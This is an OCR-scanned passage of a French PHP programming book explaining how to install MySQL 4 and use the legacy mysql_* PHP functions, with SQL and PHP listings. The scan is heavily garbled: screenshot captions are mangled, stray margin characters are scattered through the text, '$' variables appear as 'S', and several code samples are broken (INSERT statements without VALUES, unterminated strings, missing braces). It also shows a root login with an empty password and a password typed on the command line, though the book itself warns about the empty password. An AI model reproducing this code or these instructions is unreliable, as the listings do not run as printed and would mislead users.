Si vous etes sous Windows et avez installe EasyPHP, vous n'aurez rien a installer ou configurer, 
puisque tout est fait automatiquement (aussi bien pour ce qui concerne MySQL que pour ce qui 
concerne PHP). Avec EasyPHP 1.7, e'est MySQL 4.0.15 qui est fourni. 

Dans les autres cas, pour commencer, vous devrez vous procurer l'archive de MySQL, 
disponible sur le site officiel a l'adresse http://www.mysql.com/downloads/ (vous la trouverez egale- 
ment sur le CD-ROM fourni). 

Installation du serveur de bases de donnees 
Sous Windows 

Vous devriez maintenant avoir un paquetage avec un nom du genre : 

mysql-4 . . 14b-win. zip. 



/fjk Winzip 

%37 Si vous n'avez pas Windows XP ou un utilitaire pour extraire les fichiers du 

INTERNET paquetage, vous pouvez telecharger la version de demonstration de Winzip sur 
http://www.winzip.com. 

II faut ensuite extraire les fichiers du paquetage dans un repertoire quelconque et executer le 
fichier Setup.exe. 

L'installation est tres simple et rapide : 
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Choose Destination Location 
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Setup will install MjiSQL Servers and Clients 12:3.51 in the 
tallowing folder. 



I ci install to 'his folder dick Next. 



Jo install to a different folder, click Browse and select .another 
folder. 



Ydu issn choose no' to install MySQL Server; and Clients 3.23.51 
b',« clicking Cancel to exit Setup 



Destination Folder 
CArnysql 



J 



Next > I Cancel 



Figure 10.13 : 

Repertoire 
d "installation 




Installation typique 



Nous choisirons une installation typique, qui nous conviendra pour ce que Ton souhaite faire. 

Figure 10.14 

Click the type of Setup J«ou preier, then click Next. 

• [..[ j| T ...;i bf<< ■ ill tr ii. I ilk 'J ■ 'iM. M r r...> < .■.! ...vi. 

options. Recommended lor most users. 

r. .,,[., i F ...;i 3 r,,' illtrii. ■ Elk-j ■ -ir| . r. .ir .ir... r. «]*■] 
options 

C Custom '"'ou may choose She options you went to install. 
Recommended for advanced users. 



reinstallation cree automatiquement un fichier my.ini dans le repertoire de Windows, qui 
servira pour utiliser MySQL en tant que service. 



REMARQUE 



Installation 

Si vous installez MySQL dans un repertoire autre que C:\MYSQL, ou si vous voulez 
installer MySQL en tant que service sur Windows 2000/NT/XP, il faudra creer un 
fichier appele C: \MY. CNF ou placer un fichier my. ini dans votre repertoire Windows 
avec les lignes suivantes (a modifier selon votre configuration) : 

[mysqld] 

basedir=C:/repertoi reinstall at ion/ 

datadi r=C: /repertoi redonnees/ 

Quoi qu'il en soit, une fois V installation de MySQL terminee, le repertoire 
d'installation contiendra desfichiers appeles my-xxxxx.cnf qu'il est possible d'utiliser 
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' w pour refaire votre propre fichier C:\MY. CNF, les differents fichiers dependent de la 

taille de votre base de donnees : de small pour les petites bases de donnees a huge 
pour les tres grosses en passant par medium et large. 



Sous Linux 

II existe plusieurs fagons de faire. Mais les deux principales consistent soit a utiliser les versions 
precompilers de MySQL soit a les compiler soit meme. Mais curieusement l'arborescence des 
fichiers obtenus different legerement entre les deux solutions. 

Version precompilee 

Une fois l'archive correspondant a votre environnement (ici, une architecture intel) installee 
sur votre disque dur (par exemple sous /usr/local), il vous faudra la decompresser par la 
commande : 

# tar zxvf mysql-standard-4.0.20-pc-linux-i686.tar.gz 

Vous disposez alors de tous les fichiers MySQL sous /usr/local/mysql-standard-4.0 
.20-pc-linux-i686.r6pertoire que nous renommerons en /usr/local/mysql. 

§ cd /usr/local 

# mv mysql -standard-4.0.20-pc-linux-i686 mysql 

# cd mysql 

II vous faut, desormais, initialiser l'espace destine a accueillir les bases de donnees. 

# ./scripts/mysql_install_db 

Assurez-vous de bien executer le script depuis le repertoire mysql. Cela se traduit par la 
creation de fichiers et de repertoires sous /usr/local/mysql/data. 

Puisqu'il est preferable de ne pas faire tourner le serveur MySQL sous le compte root, nous 
vous invitons maintenant a creer un compte mysql. 

# groupadd mysql 

# useradd -g mysql -s /bin/bash mysql 

Vous pouvez maintenant modifier le proprietaire des fichiers de base de donnees : 

# chown -R mysql /usr/local/mysql/data 

ainsi que le groupe auquel appartiennent les fichiers du serveur. 

# chgrp -R mysql /usr/local/mysql 

Copiez ensuite le fichier de configuration dans le repertoire /etc/. 

# cp support-files/my-medium.cnf /etc/my. cnf 







01 


o 


CD 


i-; 


v> 


c=* 






a. 


^; 


CD 


Jfl" 


a. 


s. 


o 




3 


o' 


3 


3 


CD* 
CD 


a. 


V) 


CD 



693 



CD 


GO 


■o 


a> 

'CD 


c 


£= 


o 


£= 


*™ 


O 


CO 


■a 


GO 


03 


IS 


•a 






3 


go 


~—i 


a> 

GO 


o 


CO 
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^J) Compte sans mot de passe 

"**^ Dans /'eta? actuel, ce compte mysql ne possede pas de mot de passe ; vous nepourrez 

y acceder que depuis le compte root en tapant su - mysql. 

Version a compiler 

Pour cela vous devez recuperer les sources du serveur MySQL (disponibles sur le CD-ROM) 
puis, une fois l'archive installee sur votre disque dur, il vous faudra la decompresser par la 
commande : 

# tar zxvf mysql-4. 0.20. tar. gz 

Une fois les sources decompressees, il est possible de les compiler par les commandes : 

# cd mysql-4. 0.20 

# ./configure --prefix=/usr/local /mysql 

# make 

# make install 

MySQL est a present installe sous /usr/Iocal/mysql. 

# cd /usr/local /mysql 

II vous faut, desormais, initialiser l'espace destine a accueillir les bases de donnees. 

# ./bin/mysql_install_db 

Cela se traduit par la creation de fichiers et de repertoires sous /usr/Iocal/mysql/var. 

Puisqu'il est preferable de ne pas faire tourner le serveur MySQL sous le compte root, nous 
vous invitons done a creer un compte mysql. 

# groupadd mysql 

# useradd -g mysql -s /bin/bash mysql 

Vous pouvez maintenant modifier le proprietaire des fichiers de base de donnees : 

# chown -R mysql /usr/local /mysql /var 

ainsi que le groupe auquel appartiennent les fichiers du serveur. 

# chgrp -R mysql /usr/local /mysql 

Copiez ensuite le fichier de configuration dans le repertoire /etc/. 

# cp share/mysql/my-medium.cnf /etc/my. enf 



Compte sans mot de passe 

Dans I'etat actuel, ce compte mysql ne possede pas de mot de passe ; vous nepourrez 
y acceder que depuis le compte root en tapant su - mysql. 
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Demarrage du serveur de bases de donnees 
Sous Windows 

Pour lancer le service, il faut executer le fichier winmysqladmin.exe du repertoire bin de 
MySQL. A la premiere execution, le programme vous demandera un nom d'utilisateur et un 
mot de passe a creer. Un feu vert devrait alors apparaitre dans votre barre des taches, indiquant 
que le serveur MySQL est pret. 

Sous Linux 

Le demon mysqld doit etre actif pour pouvoir utiliser la base de donnees MySQL. 

# /usr/local/mysql/bin/mysqld_safe --user=mysql & 
Avec MySQL 3.X vous devrez lancer la commande 

# /usr/local/mysql/bin/safe_mysqld --user=mysql & 
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Creation d'une base 
Sous Windows 



En utilisant le logiciel WinMYSQLAdmin et l'onglet Databases, il est possible de voir les bases 
de donnees existantes. Pour en creer une, il suffit de cliquer avec le bouton droit sur le nom de 
la machine, puis de selectionner Create Database. Une fenetre s'ouvre, demandant le nom de la 
nouvelle base de donnees. 



S3 WinMySQLadminl.4 



<^SO Li C °W"9 ht 
^^ All rights i 



WinMySQLadmin Ver 1.4 lor Win95/Win9&7NT/Win2000 

(CJ 1979-2001 MySQL AD Monty Program KB _Detron 110 
rights reserved. See the file PUBLIC For licence information. 
This software comes with ABSOLUTELY ND WARRANTY: see the file PUBLIC for details 



Right Click for Menu options 



(J Environment | (J Start Check | (J Server i 
Databases 



■ Ef&l- 



.ini Setup © Err File fj> Variables Process O Databases ^ Report 
T' .1 h. . . " ... 



- *3, EMMA [169 254.14. 
O rnysql 



Table Columns 



Note: The name of the database must be unique and without blank spaces 

Database Name: 




^SQL 



rnaElase 
Create the Database 



Table Indenes 




- 



Figure 10.15 : Ajouter une base de donnees 



T2YI 
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Une autre facon de faire consiste a executer la commande en ligne mysql puis de taper : 
CREATE DATABASE maBase; 




Figure 1 0.1 6 : Ajouter une base de donnees par la commande en ligne 

Sous Linux 

Une fois mysql lance, il suffit d'entrer la commande : 

$ mysql 

CREATE DATABASE maBase; 



ASTUCE 



Utiliser un autre utilisateur que I'utilisateur courant 

Pour lancer mysql avec un autre nom d'utilisateur que le nom courant, il faut passer 
Voption -u. II est egalement possible de passer le mot de passe en ligne de commande 
parl'option -p. 



$ mysql -u root -p motdepasse 



Test du serveur de bases de donnees 

II est possible de faire executer quelques requetes SQL pour voir le fonctionnement du serveur. 
II suffit de lancer mysql et de taper, par exemple, (cela suppose que vous ayez cree la base de 
donnees maBase auparavant) : 

$ mysql 

USE maBase; 

CREATE Table maTable (id INTEGER, valeur VARCHAR(32)) ; 

INSERT INTO maTable (1, "toto"); 

INSERT INTO maTable (2, "titi"); 

SELECT * FROM maTable; 

Voici une capture d'ecran sous Windows de cette serie de requetes : 
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Invite de commandes - mysql 



■ iffiTillS.lit , * » 



rype J help;' or '\h' for help. Type '\c' 

Tiysql> USE naBase ; 

database changed 

iiPsql> CREATE TABLE maTable <±d INTEGER, 

luery OK, rows affected. <@.06 see> 

iysql> INSERT INTO maTable UALUES <1, "t 
luery OK, 1 row affected (B.BB sec) 

iysql> INSERT INTO maTable UfiLUES <2, "t 
luery OK, 1 row affected (Q.&& sec) 

iiPsql> SELECT * FT™.. 



Figure 10.17 : Quelques requites pour tester 
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REMARQUE 



Configuration par defaut de MySQL 

Avec une installation par defaut de MySQL, vous aurez tous les droits utilisateurs si la 
base de donnees tourne localement, et que vous utilisez pour nom d'utilisateur "root" 
et pour mot de passe simplement une chaine vide. Mais n 'hesitez surtout pas a 
modifier cette configuration de base pour obliger {'utilisation d'un mot de passe. Cette 
operation peut se realiser en executant la requite SQL suivante sur la base mysql : 



UPDATE user SET password=PASSWORD( '<mot de passe>') WHERE user=root 

Configuration de PHP avec support MySQL 

Les dernieres versions de PHP integraient par defaut le support de MySQL dans le noyau. Ce 
n'est plus vrai depuis PHP 5. Et bien qu'il n'y avait, a priori, rien a faire pour que cela 
fonctionne (hormis avoir un serveur MySQL a disposition) avec les versions 4.2 et 4.3, il etait 
deja conseille de recompiler PHP avec l'API de la version MySQL installee. Avec PHP 5 cela 
devient une necessite. Pour cela, il suffit d'ajouter l'option — with-mysqi= 

/usr/ local /mysql. 



Vous pouvez vous reporter au chapitre "Installation" pour plus de details sur la 

compilation de PHP. 
RENVOI 

Configuration php.ini 

Le iichiei php.ini permet de definir les parametres suivants 

mysql .all ow_persi stent = On 

Autorise ou interdit les connexions persistantes. 

mysql .max_persi stent = -1 
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Nombre maximum de connexions persistantes. -1 autorise un nombre illimite. 

mysql .max_links = -1 

Nombre maximum de connexions (persistantes ou non). -1 autorise un nombre illimite. 

mysql .defaul t_port = 

Indique le port a utiliser s'il n'est pas precise lors de l'appel a mysql_connect () ou a 
mysql_pconnect ( ) . Si vous ne renseignez pas cette directive, mysql_connect utilisera le port 
indique par $mysql_tcp_port, sinon c'est le port associe au service mysql-tcp, indique dans 

I etc I services, qui sera utilise, ou, enfin, la valeur definie lors de la compilation par la constante 
mysql_port. Sous Windows, seul le port precise par mysql_port est pris en compte. 

mysql .default_socket = 

Indique le nom de la socket par defaut pour les connexions MySQL en local. Si vous ne 
renseignez pas cette directive, PHP utilisera la configuration MySQL par defaut. 

mysql .defaul t_host = 

Indique le nom (ou l'adresse) du serveur mysql a utiliser par defaut s'il n'est pas precise lors de 
l'appel a mysql_connect ( ) ou mysql jconnect ( ) . Cette option n'est pas prise en compte en 
mode securise. 

mysql .defaul t_user = 

Indique le nom d'utilisateur a donner par defaut s'il n'est pas precise lors de l'appel a 
mysql_connect ( ) ou mysqi_pconnect ( ) .Cette option n'est pas prise en compte en mode 
securise. 

mysql .defaul t_password = 

Indique le mot de passe a utiliser par defaut s'il n'est pas precise lors de l'appel a 
mysql_connect ( ) ou a mysql_pconnect ( ) . Cette option n'est pas prise en compte en mode 
securise. 

II est deconseille de stocker les mots de passe dans ce fichier. N'importe quel utilisateur ayant 
acces a votre PHP, ou ayant les droits de lecture, pourrait lancer la commande echo 

cfg_get_var ( "mysql .default_password" ) , et acceder ainsi a ce mot de passe. 

Verification 

Vous pouvez maintenant tester un script ne contenant que le code <?php phpinf o ( ) ; ?>. 
Vous devez apercevoir les lignes suivantes : 
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mysql 


[ MySQL Support 


enabled 


Active Persistent Links 





Active Links 





Client API version 


4.D.14 


MYSQL_MODULE_TYPE 


eternal 


MYSQL_SOCKET 


i..|> !„■- mI ; ; - 


MYSQL INCLUDE 


-l/usr/local/mysql/include 


MYSQL LIBS 


-L/usiVlocal/inysql/lib -liriysqlclient 




Directive 


Local Value 


Master Value 




mysql .allow jiersistent 


On 


On 


mysql .connect_timeout 


-1 


-1 


mysql .defaultjiost 






mysql .defaultjiassword 






mysql .default jjort 






mysql .default_socket 






mysql .default_user 






mysql .max links 


Unlimited 


Unlimited 


mysql .maxjiersistent 


Unlimited 


Unlimited 


mysql .tracejmode 


Off 


Off 



Figure 10.18 

phpinfoQ 
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Utilisation 

Comme indique dans le chapitre d'introduction, 1'utilisation basique de la base de donnees 
s'opere selon le schema suivant : 

Connexion grace aux fonctions mysql_connect ( ) OU mysqljconnect ( ) et 
mysql_select_db ( ) . 

Soumission de la requete via la fonction mysql^query ( ) . 

Deconnexion grace a la fonction mysqi_ciose( ) (dans le cas d'une connexion non 
persistante). 

Connexion 

La connexion a une base de donnees MySQL necessite deux operations. II faut, dans un 
premier temps, se connecter au serveur de bases de donnees avec la fonction 
mysql_connect ( ) ; la selection de la base s'opere dans un second temps avec 

mysql_select_db ( ) . 



mysql_connect() 



Etablit une connexion (non persistante) avec le serveur de bases de donnees. 
Syntaxe 



$nomServeur 



resource mysql _connect( [string $nomServeur [:$port] 
[:$cheminSocket] [, string $util isateur [, string $motDePasse 
[, boolean $nouvelleCnx [, int $option]]]]]) 

Nom du serveur (par defaut "localhost"). 
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Chapitre 10 L'utilisation des bases de donnees 



$port Port sur lequel la connexion au serveur de bases de donnees s'effectue (par 

defaut 3306). 

$cheminSocket Chemin vers le fichier socket (lorsque le serveur de bases de donnees 

tourne en local). 

$util isateur Nom d'utilisateur (sous Linux/UNIX; par defaut, le proprietaire du 

serveur web, qui traditionnellement pour Apache est "nobody"). 

$motDePasse Mot de passe de l'utilisateur (par defaut, aucun mot de passe). 

$nouvel 1 eCnx Precise si Ton souhaite (TRUE) ou non (FALSE, valeur par defaut) forcer la 

creation d'une nouvelle connexion si une connexion similaire a deja ete 
ouverte. 

$opti on Precise une option de communication avec le serveur de base de donnees. 

Ce parametre est disponible depuis la version 4.3.0 de PHP. Elle peut 
prendre l'une des valeurs suivantes: 

MYSQL_CLIENT_C0MPRESS, pour envoyer les donnees sous forme 
compressees. 

MYSQL_CLIENT_IGN0RE_SPACE, pour autoriser les espaces apres les 
noms de fonction (tous les noms de fonctions sont alors des mots reserves). 
MYSQL_CLIENT_INTERACTIVE, pour baser le time-out dedeconnexion 
non pas sur la valeur de wait_timeout mais sur celle de 
interactive_timeout. 

MYSQL_CLIENT_SSL, (uniquement avec MySQL 4) pour utiliser le 
protocole SSL. 

retour Identifiant de connexion au serveur de bases de donnees, ou FALSE en cas 

d'echec. 

L'utilisation d'une connexion persistante requiert, a la place, l'appel a la fonction 

mysql_pconnect ( ) . 



mysql_pconnect() 



Etablit une connexion persistante avec le serveur de bases de donnees. Si une connexion 
persistante est disponible, elle sera utilisee ; sinon, une nouvelle connexion persistante sera creee. 

Syntaxe resource mysql_pconnect([string $nomServeur [:$port] 

[:$cheminSocket] [, string $util isateur [, string $motDePasse 
[, int $option]]]) 

$nomServeur Nom du serveur (par defaut "localhost"). 

$port Port sur lequel la connexion au serveur de bases de donnees s'effectue (par 

defaut 3306). 

$cheminSocket Chemin vers le fichier socket (lorsque le serveur de bases de donnees 

tourne en local). 

$util isateur Nom d'utilisateur (sous Linux/UNIX; par defaut, le proprietaire du 

serveur web, qui traditionnellement pour Apache est "nobody"). 

$motDePasse Mot de passe de l'utilisateur (par defaut, aucun mot de passe). 
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$opti on Precise une option de communication avec le serveur de base de donnees. 

Ce parametre est disponible depuis la version 4.3.0 de PHP. Elle peut 
prendre l'une des valeurs suivantes: 

MYSQL_CLlENT_COMPRESS, pour envoyer les donnees sous forme 
compressees. 

MYSQL_CLIENT_IGN0RE_SPACE, pour autoriser les espaces apres les 
noms de fonction (tous les noms de fonctions sont alors des mots reserves). 
MYSQL_CLIENT_INTERACTIVE, pour baser le time-out dedeconnexion 
non pas sur la valeur de wait_timeout mais sur celle de 
interactive_timeout. 

MYSQL_CLIENT_SSL, (uniquement avec MySQL 4) pour utiliser le 
protocole SSL. 

retour Identifiant de connexion au serveur de bases de donnees, ou FALSE en cas 

d'echec. 



mysql_select_db 

Selectionne une base de donnees. 

Syntaxe boolean mysql_select_db(string $baseDonnees [, resource 

$idConnexion]) 

$baseDonnees Nom de la base de donnees. 

$i dConnexi on Identifiant de connexion au serveur de bases de donnees tel que retourne 

par mysql_connect ( ) . Par defaut, c'est l'identifiant de la derniere 
connexion qui est utilise. 

retour TRUE en cas de succes, FALSE sinon (ex. : base de donnees inexistante). 

Execution de la requete SQL 

Pour executer une requete SQL, il suffit de faire appel a la fonction mysgl_query ( ) . 



mysqLqueryO 

Execute une requete SQL. 

Syntaxe resource mysql_query(string $requete [, resource 

$idConnexion]) 

$requete Requete SQL. 

$i dConnexi on Identifiant de connexion a une base de donnees tel que retourne par 

mysql_connect ( ) ou mysql_pconnect ( ) . Par defaut, c'est 
l'identifiant de la derniere connexion qui est utilise. 

retour Identifiant de requete SQL, ou FALSE en cas d'echec. 
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Chapitre 10 L'utilisation des bases de donnees 



Dans le cas d'une requete retournant un resultat (typiquement une requete select), il faudra 
egalement analyser le resultat. Mais nous verrons cela un peu plus loin. 



Deconnexion 

Pour vous deconnecter - operation theoriquement facultative mais toutefois vivement 
conseillee -, vous disposez de la fonction mysqi_ciose ( ) . 



mysql_close 

Met fin a la connexion a la base de donnees et libere les ressources associees. 

Syntaxe boolean mysql_close( [resource $idConnexion]) 

$idConnexion Identifiant de connexion a une base de donnees tel que retourne par 

mysql_connect ( ) . Par defaut, c'est l'identifiant de la derniere 
connexion qui est utilise. 

retour TRUE si l'operation a ete effectuee avec succes, NULL (mais pas 

strictement FALSE) en cas d'echec. 



Premier exemple 



JK Verifiez les parametres 

^^^ Prenez garde ! Avant d'executer ce script, assurez-vous que les parametres predefinis 
ATTENTION ne risquent pas de conduire a la suppression des donnees d'une de vos bases qui, par 
coincidence, existerait dejd. 

Comme cela est fortement conseille, nous avons, ici, isole les parametres de connexion dans un 
fichier aisement reperable, 

Listing 10.28 : parametresbdinc.php 

<?php 

// Parametres de connexion a la base 
// de donnees 

$serveur = "localhost"; 

$port = ""; // doit commencer par : 

$utilisateur = "root"; 

SmotDePasse = ""; 

$base = "maBase"; 

?> 
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et qui est utilise par le script principal. 

Listing 10.29 : insertOLphp 

<?php 

// Parametres du script 
require_once("parametres_bd_inc.php") ; 
Stable = "tableexemple"; 

// Inclusion du script contenant les fonctions 
require_once("insert01_bd_inc.php") ; 

// Connexion a la base de donnees 

$idConnexion = mysql_pconnect($serveur, $util isateur, $motDePasse) ; 

if (!$idConnexion) { 

die("<b>Impossible de se connecter a la base de donnees</b>") ; 

} 

if (!mysql_select_db($base)) { 

die("<b>Impossible de se connecter a la base de donnees</b>") ; 
} 

// Appel de la fonction principale 

if (EX_initialiseBD($idConnexion, Stable)) { 

echo "Voila, une nouvelle table avec quelques donnees, ". 
"vous pouvez le verifier avec votre client de base ". 
" de donnees ou via les scripts suivants."; 
} else { 

echo "La creation ou 1 'alimentation de la table a echouee."; 



?> 



// Pas de deconnexion dans le cas d'une connexion persistante 
// mysql_close($idConnexion) ; 



Ce script utilise les fonctions definies dans le fichier : 

Listing 10.30 : insert01_bd_inc.php 

<?php 

/** 

* Fonction chargee de creer et d'alimenter une table 

* 

* @param $idConnexion resource Identifiant de connexion BD 

* @param Stable string Nom de la table 

function EX_initial iseBD($idConnexion, Stable) 
{ 

// Supprime la precedente table 
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$requete = "DROP TABLE $table"; 
@mysql_query($requete, $idConnexion) ; 

// Cree la table 

$requete = "CREATE TABLE Stable (filmld INTEGER ". 

" AUTOJNCREMENT PRIMARY KEY,", 
"film VARCHAR(64))"; 
if (!mysql_query($requete, $idConnexion)) return FALSE; 

// Ajoute quelques donnees 

$requete = "INSERT INTO Stable (film) VALUES ('Forrest Gump')"; 

if (!mysql_query($requete, $idConnexion)) return FALSE; 

$requete = "INSERT INTO $table (film) VALUES ('Matrix')"; 

if (!mysql_query($requete, $idConnexion)) return FALSE; 

$requete = "INSERT INTO Stable (film) VALUES ('La cite 

if (!mysql_query($requete, $idConnexion)) return FALSE; 

return TRUE; 



de la peur' 



Valeur du champ auto-incremente 

Parfois, apres avoir insere des donnees dans une table contenant un champ auto-incremente, 
vous aurez besoin de connaitre la valeur qui a ete donnee a ce champ. Pour cela, vous devrez 

appeler la fonction mysql_insert_id ( ) . 



mysql_insert_id() 

Retourne la valeur affectee au champ auto-incremente lors de la derniere requete insert. 

Syntaxe int mysql_insert_id( [resource $idConnexion] ) 

$idConnexion Identifiant de connexion a une base de donnees tel que retourne par 

mysql_connect ( ) . Par defaut, c'est l'identifiant de la derniere 
connexion qui est utilise. 

retour La valeur du champ. 



Lecture des enregistrements 



Dans le cas d'une requete retournant une liste de donnees, il convient de recuperer l'identifiant 
de requete et de l'utiliser pour lire, en boucle, ligne apres ligne, chaque enregistrement. II existe 
diverses fonctions, chacune permettant de recuperer les champs des enregistrements sous 
differentes formes. 
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Les informations peuvent ainsi etre retournees : 

■ Champ par champ ; 

Enregistrement par enregistrement (sous la forme d'un tableau indexe, d'un tableau 
associatif ou encore d'un tableau a la fois indexe et associatif). 

Lecture champ par champ 

Bien que cela presente peu d'interet, sachez qu'il existe une fonction appelee 
mysql_result ( ) permettant d'acceder au resultat champ par champ. 

Lecture enregistrement par enregistrement 

La forme la plus simple est celle retournee par la fonction mysqi_f etch_row ( ) . 



mysql_fetch_row() 

Retourne un enregistrement, retourne par une requete SQL, sous la forme d'un tableau indexe. 

Syntaxe array mysql_fetch_row (resource $idResul tat) 

SidResultat Identifiant de requete tel que retourne par mysql_query ( ) . 

retour Tableau indexe contenant autant d'elements que de champs retournes par 

la requete ; FALSE s'il n'y a plus d'enregistrement a lire, ou rien en cas 
d'identifiant de requete non valide. 

Listing 10.31 : selecteeibdinc.php 

<?php 

l-k-k 

* Fonction Instant le contenu d'une table 

* contenant 2 champs (filmld et film) 
* 

* @param $idConnexion resource Identifiant de connexion BD 

* @param Stable string Norn de la table 

** / 

function EX_listeContenu($idConnexion, Stable) 

{ 

// Requete 

$requete = "SELECT * FROM Stable"; 

SidResultat = mysql_query($requete, SidConnexion) ; 

if (!$idResultat) return FALSE; 

// Boucle de lecture (et d'affichage) des enregistrements 
while (Senreg = mysql_fetch_row($idResul tat)) { 
echo "Filmld=".$enreg[0] ." ". 

"Film =" .$enreg[l] . "<br />"; 







01 


o 


CD 


r-; 


CO 


c=* 






a. 


^; 


CD 


Jfl" 


a. 


s. 


o 




3 


o' 


3 


3 


CDn 
CD 


a. 


t/> 


CD 



705 



Chapitre 10 L'utilisation des bases de donnees 



} 

return TRUE; 

} 
?> 
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Mais il est egalement possible de retourner un enregistrement sous la forme d'un tableau 
indexe et associatif avec, pour cles, les noms des champs. 



mysql_fetch_array() 



Retourne un enregistrement, retourne par une requete SQL, sous la forme d'un tableau indexe 
et/ou associatif. 

Syntaxe array mysql_fetch_array(resource $idResultat [, int$mode]) 

$idResu1 tat Identifiant de requete tel que retourne par mysql_query( ) . 

$mode Au choix l'une des constantes suivantes : 

MYSQL_ASSOC, pour retourner un tableau associatif, ou les cles sont les 

noms des champs (faites attention a la casse). 

MYSQL_NUM, pour retourner un tableau indexe. 

MYSQL_BOTH (par defaut), pour retourner un tableau a la fois indexe et 

associatif, ou les cles (en minuscules) sont les noms des champs. 

retour Tableau indexe et/ou associatif selon le mode choisi ; FALSE s'il n'y a plus 

d'enregistrement ou rien en cas d'erreur (si l'identifiant de requete n'est 
pasvalide). 

C'est ce mode de lecture des donnees que nous privilegierons ; il est en effet fort pratique pour 
les champs dont on connait le nom (ce qui est le plus souvent le cas), et permet egalement de 
faire reference a des champs sans nom, comme par exemple un champ SUM(nomchamp) . 
Notez toutefois qu'il est possible d'affecter un nom (ex. : somme) a ce genre de champ en 

indiquant SUM ( nomchamp ) AS somme. 

L'exemple precedent gagnera ainsi en lisibilite et deviendra : 

Listing 10.32 : select_eea_bd_inc.php 

<?php 

/** 

* Fonction listant le contenu d'une table 

* contenant 2 champs (filmld et film) 
* 

* @param $idConnexion resource Identifiant de connexion BD 

* @param Stable string Nom de la table 

** / 

function EX_listeContenu($idConnexion, Stable) 
{ 
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!> 



REMARQUE 



// Requete 

$requete = "SELECT * FROM Stable"; 

$idResultat = mysql_query($requete, $idConnexion) ; 

if (!$idResultat) return FALSE; 

// Boucle de lecture (et d'affichage) des enregistrements 
while ($enreg = mysql_fetch_array($idResultat)) { 
echo "Filmld=".$enreg["filmld"]." ". 

"Film =" .$enreg["film"]."<br />"; 

} 

return TRUE; 



mysqlJetch_assoc () 

Utilizer la fonction mysgl_fetch_array() avec Voption MYSQL _ASSOC revient 

a appeler une fonction appelee mysgl_fetch_assoc (). 
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Pour votre culture personnelle, sachez qu'il existe egalement une fonction (d'un interet 
discutable) qui permet de retourner l'enregistrement sous forme d'un objet possedant des 
variables internes portant les memes noms (en minuscules) que les champs. Cette fonction 
s'appelle mysql_f etch_obj ect ( ) et possede la meme syntaxe que mysql_f etch_row ( ) , si ce 
n'est qu'elle retourne un objet et non un tableau. 

La boucle de lecture se transforme alors en : 

<?php 

while ($enreg = mysql_fetch_object($idResultat)) { 

echo "Filmld = ".$enreg->filmid. " Film = ".$enreg->film."<br />"; 

} 
?> 



Liberation des ressources 

Si, au cours d'un script, vous faites appel a de nombreuses requetes retournant de nombreux 
enregistrements, alors, n'hesitez pas, une fois le resultat de la requete exploite, a liberer les 
ressources associees avec la fonction mysql_f ree_result ( ) . 



mysql_free_result () 



Libere les ressources allouees pour un resultat de requete. 

Syntaxe boolean mysql_free_result (resource $idResultat) 

$i dResul tat Identifiant de requete tel que retourne par mysql_query ( 

retour TRUE en cas de succes, FALSE sinon. 
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Chapitre 10 L'utilisation des bases de donnees 

Nombre d'enregistrements 
Nombre d'enregistrements retournes 

II existe trois facons de determiner le nombre d'enregistrements retournes par une requete. 

Si vous souhaitez uniquement connaitre le nombre d'enregistrements, mais ne souhaitez pas 
immediatement lire ces enregistrements, alors il vous suffit de faire une requete count ( ) 
comme suit : 

Listing 10.33 : countbdjnc.php 

<?php 

/** 

* Fonction affi chant le nombre d'enregistrements 

* dans une table 

* @param $idConnexion resource Identifiant de connexion BD 

* @param Stable string Norn de la tabme 

** / 

function EX_compte($idConnexion, Stable) 

{ 

// Requete 

$requete = "SELECT C0UNT(*) FROM Stable"; 

SidResultat = mysql_query($requete, SidConnexion) ; 

// Lecture du resultat 

if (Senreg = mysql_fetch_row($idResultat)) { 

echo "II y a ".$enreg[0] ." enregistrements dans la table. <br />"; 

return TRUE; 
} else { 

echo "Etes vous sur que la table Stable existe ?<br />"; 

return FALSE; 
} 
} 
?> 

Si vous souhaitez connaitre le nombre d'enregistrements, et que vous souhaitez lire les 
enregistrements sans pour autant avoir besoin au prealable d'en connaitre le nombre, il suffit 
de compter combien d'enregistrements sont lus. 

Listing 10.34 : countselectdbjnc.php 

<?php 

* Fonction listant le contenu d'une table 

* contenant 2 champs (filmld et film) 

* @param SidConnexion resource Identifiant de connexion BD 
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* @param Stable string Norn de la table 

function EX_listeContenu($idConnexion, Stable) 
{ 

// Requete 

$requete = "SELECT * FROM Stable"; 

$idResultat = mysql_query($requete, $idConnexion) ; 

if (!$idResultat) return FALSE; 

// Boucle de lecture (et de comptage) des enregistrements 

$nb = 0; 

while ($row = mysql_fetch_row($idResultat)) { 

// Vous pouvez manipuler $enreg a votre guise 

//echo "FilmId=".$enreg[0] ." " . 

// "Film =" .$enreg[l]."<br />"; 

$nb++; 

} 

echo "II y a $nb enregistrements dans la table. <br />"; 

return TRUE; 



Et, pour finir, ce que vous attendez tous : si vous souhaitez connaitre le nombre 
d'enregistrements avant de les lire, vous pouvez faire appel a la fonction mysql_num_rows ( ) . 
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mysql_num_rows () 



Retourne le nombre d'enregistrements retournes par la requete SQL. 

Syntaxe int mysql_num_rows (resource $idRequete) 

$idRequete Identifiant de requete tel que retourne par mysql_query( ) . 

retour Nombre d'enregistrements, ou rien en cas d'identifiant de requete non 

valide. 

Listing 10.35 : count numrowsbdincphp 

<?php 

/** 

* Fonction listant le contenu d'une table 

* contenant 2 champs (filmld et film) 
* 

* @param $idConnexion resource Identifiant de connexion BD 

* @param Stable string Norn de la table 

function EX_listeContenu($idConnexion, $table) 
{ 
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// Requete 

$requete = "SELECT * FROM $table"; 

$idResultat = mysql_query($requete, $idConnexion) ; 

if (!$idResultat) return FALSE; 

echo "II y a ".mysql_num_rows($idResultat) ." enregistrements ". 
"dans la table<br />"; 

return TRUE; 



?> 



Sachant qu'une requete select * est plus longue qu'une requete select count ( * ) , 
privilegiez la premiere methode si vous n'avez que faire du contenu des enregistrements. 

Nombre d' enregistrements modifies 

Pour connaitre le nombre de lignes affectees par la requete precedente (comme le nombre de 
resultats apres un select, le nombre de lignes effacees apres un delete ou le nombre de lignes 
modifiees apres un update), nous pouvons utiliser la fonction mysql_af f ected_rows ( ) . 



mysql_affected_rows () 

Permet de retrouver le nombre de lignes affectees par la requete immediatement precedente. 
Syntaxe int mysql_affected_rows( [resource $idConnexion]) 

$idConnexion Identifiant de connexion a une base de donnees tel que retourne par 

mysql_connect ( ) . Par defaut, c'est l'identifiant de la derniere 
connexion qui est utilise. 

Bien que plus difficilement exploitable, sachez que depuis PHP 4.3, vous diposez egalement de 

la fonction mysql_inf o ( ) . 



mysql_info() 



Retourne une chaine de caracteres precisant le nombre d'enregistrements ajoutes, modifies, 
etc. durant la derniere requete. Toutefois, ceci ne concerne qu'un nombre reduit de type de 
